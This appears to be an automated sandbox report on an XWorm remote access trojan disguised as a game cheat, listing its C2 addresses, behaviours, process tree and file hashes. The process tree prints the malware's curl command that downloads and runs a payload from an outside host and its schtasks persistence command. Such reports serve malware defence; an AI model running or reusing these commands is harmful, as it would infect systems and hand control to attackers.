Analysis

  • max time kernel
    54s
  • max time network
    47s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/11/2024, 22:36

General

  • Target

    https://cdn.discordapp.com/attachments/1309185645029228554/1309648491206676501/Revised_Cheat.exe?ex=674258b4&is=67410734&hm=272b7542cde3e4ae8db9270a8ac2f88d9a0fd5134df55f79033c7e52b4b114b7&

Malware Config

Extracted

Family

xworm

C2

127.0.0.1:1337

104.198.168.179:1337

Attributes
  • Install_directory

    %Temp%

  • install_file

    svchost.exe

Signatures

  • Detect Xworm Payload 2 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 1 IoCs
  • NTFS ADS 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument https://cdn.discordapp.com/attachments/1309185645029228554/1309648491206676501/Revised_Cheat.exe?ex=674258b4&is=67410734&hm=272b7542cde3e4ae8db9270a8ac2f88d9a0fd5134df55f79033c7e52b4b114b7&
    1⤵
    • Enumerates system info in registry
    • NTFS ADS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:1544
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffce38246f8,0x7ffce3824708,0x7ffce3824718
      2⤵
        PID:4428
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2064,7727548032216904459,484567662251048126,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2080 /prefetch:2
        2⤵
          PID:3544
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2064,7727548032216904459,484567662251048126,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 /prefetch:3
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:4048
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2064,7727548032216904459,484567662251048126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2748 /prefetch:8
          2⤵
            PID:3708
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,7727548032216904459,484567662251048126,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3264 /prefetch:1
            2⤵
              PID:4200
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,7727548032216904459,484567662251048126,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3276 /prefetch:1
              2⤵
                PID:216
              • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2064,7727548032216904459,484567662251048126,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5308 /prefetch:8
                2⤵
                  PID:1852
                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2064,7727548032216904459,484567662251048126,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5308 /prefetch:8
                  2⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:744
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2064,7727548032216904459,484567662251048126,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5012 /prefetch:8
                  2⤵
                    PID:768
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,7727548032216904459,484567662251048126,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5460 /prefetch:1
                    2⤵
                      PID:4648
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2064,7727548032216904459,484567662251048126,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6020 /prefetch:8
                      2⤵
                        PID:4408
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2064,7727548032216904459,484567662251048126,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5808 /prefetch:8
                        2⤵
                        • Suspicious behavior: EnumeratesProcesses
                        PID:1336
                      • C:\Users\Admin\Downloads\Revised Cheat.exe
                        "C:\Users\Admin\Downloads\Revised Cheat.exe"
                        2⤵
                        • Executes dropped EXE
                        PID:1472
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c curl https://r2.hypixel.cfd/svchost.exe -o C:\Windows\StartMenuExperienceHost.exe --silent
                          3⤵
                            PID:3896
                            • C:\Windows\system32\curl.exe
                              curl https://r2.hypixel.cfd/svchost.exe -o C:\Windows\StartMenuExperienceHost.exe --silent
                              4⤵
                              • Drops file in Windows directory
                              PID:4044
                          • C:\Windows\system32\cmd.exe
                            C:\Windows\system32\cmd.exe /c C:\Windows\StartMenuExperienceHost.exe
                            3⤵
                              PID:4672
                              • C:\Windows\StartMenuExperienceHost.exe
                                C:\Windows\StartMenuExperienceHost.exe
                                4⤵
                                • Checks computer location settings
                                • Drops startup file
                                • Executes dropped EXE
                                • Adds Run key to start application
                                • Suspicious behavior: AddClipboardFormatListener
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                • Suspicious use of SetWindowsHookEx
                                PID:3596
                                • C:\Windows\System32\schtasks.exe
                                  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
                                  5⤵
                                  • Scheduled Task/Job: Scheduled Task
                                  PID:5284
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,7727548032216904459,484567662251048126,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4112 /prefetch:1
                            2⤵
                              PID:5752
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,7727548032216904459,484567662251048126,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1828 /prefetch:1
                              2⤵
                                PID:5760
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,7727548032216904459,484567662251048126,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3660 /prefetch:1
                                2⤵
                                  PID:5908
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,7727548032216904459,484567662251048126,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5572 /prefetch:1
                                  2⤵
                                    PID:5916
                                • C:\Windows\System32\CompPkgSrv.exe
                                  C:\Windows\System32\CompPkgSrv.exe -Embedding
                                  1⤵
                                    PID:2260
                                  • C:\Windows\System32\CompPkgSrv.exe
                                    C:\Windows\System32\CompPkgSrv.exe -Embedding
                                    1⤵
                                      PID:1604
                                    • C:\Windows\system32\taskmgr.exe
                                      "C:\Windows\system32\taskmgr.exe" /4
                                      1⤵
                                      • Checks SCSI registry key(s)
                                      • Modifies registry class
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious behavior: GetForegroundWindowSpam
                                      • Suspicious use of AdjustPrivilegeToken
                                      • Suspicious use of FindShellTrayWindow
                                      • Suspicious use of SendNotifyMessage
                                      PID:736
                                    • C:\Windows\System32\rundll32.exe
                                      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                      1⤵
                                        PID:5528
                                      • C:\Users\Admin\AppData\Local\Temp\svchost.exe
                                        C:\Users\Admin\AppData\Local\Temp\svchost.exe
                                        1⤵
                                        • Executes dropped EXE
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:5140

                                      Network

                                      MITRE ATT&CK Enterprise v15

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                                      Downloads

                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                        Filesize

                                        152B

                                        MD5

                                        85ba073d7015b6ce7da19235a275f6da

                                        SHA1

                                        a23c8c2125e45a0788bac14423ae1f3eab92cf00

                                        SHA256

                                        5ad04b8c19bf43b550ad725202f79086168ecccabe791100fba203d9aa27e617

                                        SHA512

                                        eb4fd72d7030ea1a25af2b59769b671a5760735fb95d18145f036a8d9e6f42c903b34a7e606046c740c644fab0bb9f5b7335c1869b098f121579e71f10f5a9c3

                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                        Filesize

                                        152B

                                        MD5

                                        7de1bbdc1f9cf1a58ae1de4951ce8cb9

                                        SHA1

                                        010da169e15457c25bd80ef02d76a940c1210301

                                        SHA256

                                        6e390bbc0d03a652516705775e8e9a7b7936312a8a5bea407f9d7d9fa99d957e

                                        SHA512

                                        e4a33f2128883e71ab41e803e8b55d0ac17cbc51be3bde42bed157df24f10f34ad264f74ef3254dbe30d253aca03158fde21518c2b78aaa05dae8308b1c5f30c

                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                        Filesize

                                        5KB

                                        MD5

                                        5f812c8cfc0e1ee959069a6134a2109e

                                        SHA1

                                        4cb799597c2c77bbba8948bfb7bd560b1ba463ab

                                        SHA256

                                        eba9d8775d10c2028cd89eccd10101d0024e86d55d463226bcb0538da96c4738

                                        SHA512

                                        5e2765949331c3a5475a934859e951e315e8fff3cc48ee2867198e1dd3ddf3df11d1d169bb6b000754e9ea405cbe6b435ae49411c7dfb35e43b33bb76e0cd8a1

                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

                                        Filesize

                                        6KB

                                        MD5

                                        1e4203c89aa7a6146590adef66e6ea86

                                        SHA1

                                        92a95823731145f4fa6421a9096c36b200ebb1ea

                                        SHA256

                                        8756defba7b6589759e605b5ebf50d95ae323b695067bd3db7881591717db886

                                        SHA512

                                        f5079154351df8cb4558df396f782aaab3c96213dd30da8298477dd831e5093c4af753bfcd883de7ea70f8596e894ff894a94bf9ae10f51194d5c2a366a5ac42

                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                                        Filesize

                                        16B

                                        MD5

                                        6752a1d65b201c13b62ea44016eb221f

                                        SHA1

                                        58ecf154d01a62233ed7fb494ace3c3d4ffce08b

                                        SHA256

                                        0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

                                        SHA512

                                        9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

                                      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                        Filesize

                                        10KB

                                        MD5

                                        11298320804be3a215afc158053dd7ca

                                        SHA1

                                        f79689dcb8530957528621b6f6b805137915290e

                                        SHA256

                                        3d8af0065993c80db6b47d4938486e080f3c71f17b668db36f42cd8fe914da56

                                        SHA512

                                        837fb7bc9d6ed1b70b5c2b61ed594797ffcd9abce844083bd0fa76419613767c0171ec27084c7d1d6ac17d46f4de3dd3fa41b830250680a9745691314994c01d

                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk

                                        Filesize

                                        1KB

                                        MD5

                                        c65bd21f53f5cb5f0ca5438144098c37

                                        SHA1

                                        6fb9138560fe6bef066a6037a38cbb1418d3dc31

                                        SHA256

                                        08d70d561da7d936f97f4f8ec691911b4104cc908f351ed34a76ee6791496f0b

                                        SHA512

                                        bb84bc16820616538c1f2126e15dbbb3cf100eff247315c6211584c6494d837e510a9e7ddfdb98412a95f12be6c3f76ab14c8acc60dd95d2d4ab0572db7e6ee8

                                      • C:\Users\Admin\Downloads\Unconfirmed 371137.crdownload

                                        Filesize

                                        16KB

                                        MD5

                                        0006eed4d0742603de890b1dad8b924e

                                        SHA1

                                        67609ce9226cde86533c3dd7d582de60e9da855d

                                        SHA256

                                        889c07670729e5689696977480adb51c29de3e8b56f4f9d3ae35a06608acc22c

                                        SHA512

                                        14d13295a98549de919786bfeaf037959dad5b23557f7e2f8f96bc2c9c7d16887e498745dc5c1caea0a703b494d81213956be08604de422dd5e6b8978b84bcfd

                                      • C:\Windows\StartMenuExperienceHost.exe

                                        Filesize

                                        78KB

                                        MD5

                                        9d9d23a73f3b3f53e8581d8bb31953c4

                                        SHA1

                                        eadd04f6def413c3987529ac88e5e69c89563852

                                        SHA256

                                        4c17f40a56758579cdc2356a9276f92cfa3ed2e56dbb89816e5eaa15cff0e6f3

                                        SHA512

                                        fcae7ae9d0eab656cc37469a3aab9b5a6c14fde68eb3dd576f8ba8c7dc24fcaf7c8140c5d565e843fbd9a482f29d37a3093b7c95717924a4aa11f3b0704b7622

                                      • memory/736-35-0x00000186A1B80000-0x00000186A1B81000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/736-44-0x00000186A1B80000-0x00000186A1B81000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/736-43-0x00000186A1B80000-0x00000186A1B81000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/736-42-0x00000186A1B80000-0x00000186A1B81000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/736-41-0x00000186A1B80000-0x00000186A1B81000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/736-45-0x00000186A1B80000-0x00000186A1B81000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/736-46-0x00000186A1B80000-0x00000186A1B81000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/736-47-0x00000186A1B80000-0x00000186A1B81000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/736-36-0x00000186A1B80000-0x00000186A1B81000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/736-37-0x00000186A1B80000-0x00000186A1B81000-memory.dmp

                                        Filesize

                                        4KB

                                      • memory/3596-69-0x0000000000AE0000-0x0000000000AFA000-memory.dmp

                                        Filesize

                                        104KB